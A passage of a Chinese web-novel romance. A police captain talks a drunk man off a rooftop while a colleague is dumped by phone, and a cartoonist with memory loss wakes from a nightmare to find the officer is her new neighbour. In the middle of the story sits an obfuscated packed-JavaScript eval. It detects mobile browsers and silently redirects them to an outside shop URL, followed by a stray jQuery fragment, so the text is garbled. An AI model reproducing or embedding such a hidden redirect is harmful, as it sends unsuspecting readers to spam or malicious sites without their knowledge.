电话那边很快就响起了一声疲惫的女声:“宋子元,你又去哪儿了?算了我也懒得去追究你了,我今儿给你打这个电话就是想告诉你,咱俩分手吧,我也从公司辞职了,晚上十点半就坐高铁回老家。”
“咱俩在一块都六七年了,为什么没结婚你比谁都清楚,每次我一提起这事儿,你要么就说再等等,要么就说你还没准备好,我累了,我也受够这种好几天都见不着你人的日子了。正好我爸妈前段时间在老家给我找了一个条件还不错的男人,我去见了,还不错,要是处的还行我就和他结了,所以我觉得咱俩就这样吧,”
说完,甚至不给对方解释,就挂了电话。
在场的所有人:“……”
这个反转别人是万万没想到
更何况宋子元本人。
他此刻握着手机,挂了电话后还没来得及做出任何反应,嘴唇哆嗦了几下,状态一下子看上去仿佛比刚才要跳楼的刘大山还要差。
毕竟刚才还讲的七年甜蜜恋爱史一下子嘎嘣碎成了一言难尽的辛酸史。
“不……我不信……小佳……你别回去!”
宋子元立刻回拨电话,却死活打不通。
整个人都急了。
刘大山都看懵了:“不,这应该不是你们演的吧?”
宋子元原本还看上去畏畏缩缩着,可这会儿他反而情绪激动上来,应该也是真的被伤到了,朝刘大山吼了一声:“装什么装,你没听见我女朋友都要和我分手了!”
身后的同事们一时之间竟说不出在场这俩人谁哭的更伤心。
更令人意外的是,刘大山可能看到宋子元这副模样,还真生出一股同病相怜的意味来,反而和他交上了心,原本放在栏杆处的腿都收了回来,开始全身心地劝慰他:“哎兄弟,有一说一,不就好了七年么,分就分了,你也还年轻,再找一个就是了,你看我这不也是媳妇都跑了,家底都被骗光了,咱俩这样好像也没啥太大区别……”
安慰了一通,刘子元周身的气压反而一直降低,刘大山都不太敢说话了,只好把目光投向远处的人,“哎”了一声:“我看你们这位小同志情绪不太稳定啊,要不过来把他拦一下?”
许起淮这会儿看见刘大山的注意力完全被吸走了,瞅准机会,快步走上前,趁对方没反应过来,猛地将刘大山从天台上拉了下来,紧接着,身后两个民警走上前来,控制住了刘大山。
刘大山被刚刚那一遭事儿闹得,酒醒了不少,被控制住以后,已经完全动不了了,就这样还不忘惦记着他的难兄难弟。
许起淮走过去,问他:“现在还想跳不?”
刘大山噤了声,摇了摇脑袋,但他又往宋子元那小心瞅了眼,支吾说道:“我看现在你们那位小同志比我更想跳下去……”
也是,办案的途中,失误犯错误了不说,还被相爱了八年地女朋友当众分手,而且是在电话分的,女友扭头就回老家结婚去了,这都不是丢脸的问题了,这简直就是奇耻大辱!
让人把刘大山带走以后,许起淮顿了顿,还是走上前,朝蹲在地上捂着脸一声不吭的宋子元咳了声。
人虽然是犯了点小错误,但这事儿也算是弄巧成拙了。最起码把刘大山劝下来了,戴罪立功还是有的。
许起淮走过去,拍了拍宋子元的肩膀,没计较刚才那事儿,但还是没看下去他这副颓废的样子,提醒了声:“在这儿蹲一晚上忏悔都没用,这儿离车站不远,人时间地点都告你了,现在走的话,过去说不定还能赶上见最后一面。”
宋子元被许起淮的话猛地点醒,起身看了眼时间后充满感激地朝许起淮说了一声“谢谢许队!”就狂奔离开。
那架势,真有一股为爱不顾一切的冲动。
许起淮盯着宋子元离开的背影,恍惚了一瞬,仿佛看见了七年前那个在雨幕中穿着校服不顾一切向前狂奔的少年。
半晌,他摇头轻嗤了一声。
希望这小子这次能追上吧。
深夜,同样是急促的脚步声。眼前一片纷乱,跌跌撞撞地往前走,就好像有人拉着她一直跑一样。
谈意不知道自己在哪里,又在什么地方,但却只感觉一阵巨大的心慌。
耳旁反复传来一声声“快跑!快跑!”,而她也仿佛无意识地往前一直跑着。
后面好像有什么人在追她,但又有一个人好像在叫她“快回去,快回去!”
两种声音仿佛要将谈意的脑袋撕裂开来。
直到她感到一阵巨大的拉力。
谈意低头,忽然看到有一只苍白的小手紧紧拉着自己。她被吓了一跳,下意识甩开了那只手。
很快,那只手消失不见。
而她的手中,多了一个精致的粉色小熊发夹。
在灰色的梦境中,粉色无比突兀,却又刺眼得厉害。这时,那只苍白的小手,忽然拍了拍她的肩膀。
“不要—!”
谈意猛地从梦境中剥离出来,睁开眼,大口大口地呼吸着,甚至于额前,脖颈都出了密汗。
她显然又做了一场噩梦。
这已经这个月的第四次做噩梦了。
谈意长长地呼出一口气,那股心悸感才慢慢地淡去。
虽然是噩梦,但梦里的画面实在清晰,就仿佛她亲身经历过一般,可在谈意的记忆中,却并没有这一部分。
尤其是那只苍白的小手,又是谁的?
一想到这里,谈意就感觉到一阵炸裂的头痛。
她扶住脑袋,靠着床头坐起来,给自己倒了一杯水,喝完后才感觉好了一点。
她是出了国后失眠症变得越来越严重的,但这个症状具体是几岁出现的,谈意已经记不太清楚了。
而且她曾被医生明确地告知过,自己缺失过一段记忆,在国外留学的那些年,她也因此一直接受着心理治疗,可惜效果甚微。
医生也曾不止一次建议她最好回到自己熟悉的地方或者人身边,或许会有更大的变化,
在三番两次的深思熟虑下,谈意选择在完成学业后回了国,但是却没有告诉她爸妈。潜意识里,她觉得那个病因一定存在于那段失去的记忆里。
她想找回那段记忆,让自己过上一个“正常人”的生活。但如果继续像过去那样,她将一直不会有机会。
可事实显示,回国这段时间,她的症状也并没有什么好转。
谈意也不清楚到底是哪个环节出了问题。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17687827|207823||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
算了,走一步看一步吧。
她懒懒地打了个哈欠。
原本想着今晚喝了酒能好睡一点呢。
没想到到了半夜还是被惊了觉。
算了,起来赶稿吧。
虽然失眠是痛苦的,但谈意也曾让自己在这个时间段萌发过很多灵感。
这本漫画已经临近结尾,有很多读者都催着问她下
一本要画什么题材的。
谈意绞尽脑汁都还没确定,看着空白的画板,她转了下画笔,脑海里忽然就想起了今天下午在派出所见到的那位帅气警官。
笔随心动,边回想,谈意边在绘画板上寥寥几笔画下了他的漫画形象。
几乎没有任何思考过程,就凭着最初的印象,很快就速写出来了一张。
五官英俊,身高腿长,穿着一身合身的警服形象,看人时眼神淡漠,却又具有侵略性。
莫名的具备一股禁欲感。
谈意忽然感到一阵兴奋。
还别说,有男主角那种气质了。
不知画了多久,谈意不知不觉趴在数位板上就睡了过去。第二天,她是被窗帘里渗透进来的阳光给晒醒的。
早上的阳光总是格外的刺眼。谈意困乏地睁开眼后,又很快眯上,最后边打哈欠边伸了个大大的懒腰。
在桌子上睡觉的后果就是,起来以后会肩酸背痛。谈意一边用力捶着自己的肩背,一边来到阳台,在阳光的洗礼,打算做一套标准的晨操。
这是她每天睡起来的必备活动。
尤其在做扩胸运动的时候,她做的格外用力。
“一二一,一二一……”
向前两下,再展臂,然后向左两下……
可没想到谈意刚转过身,猝不及防地就对上了隔壁阳台男人的一双沉黑的眉眼。
他上身穿着件黑背心,露出健硕的臂膀,下面只穿着一件宽松的灰色抽绳运动裤,看上去也是刚练完,擦完汗,单手举着瓶子就打算仰头喝水。
许是余光里瞅见了人,睨眼过来,就看见隔壁的女孩穿着一身带小腿的黄鸭子睡裙,夹起来的发梢像朝天的鸡尾巴。正张开双臂,单腿向前屈膝,一脸懵意地对着他大鹏展翅。
四目相对,片刻无言。
男人嘴角微动,隔了几秒,他清了下嗓子,故作无事地转身走了。
但转身那刻,谈意还是看见了他上扬的唇角。
她顿时原地石化。
这这这这……不就那谁吗?
昨天才在派出所见过的那位警官,
今儿怎么在她隔壁了?!
谈意不可置信地瞪大了眼睛。
过了一分钟,她终于捋清楚了情况。
所以,原本一直没人住的隔壁现在有人住进去了,住进去的人还是她昨天见过的那位警察?!
这个世界要不要太小了!
而且刚刚还被他看见她那样……
啊啊啊真是丢死人了!
谈意猛地抱紧自己,像一头小牛似的,冲进了卧室,一头栽进了被窝里。
这一切肯定是假的!
他还知道自己那么大的糗事,这以后低头不见抬头见的,怎么面对她的新邻居啊!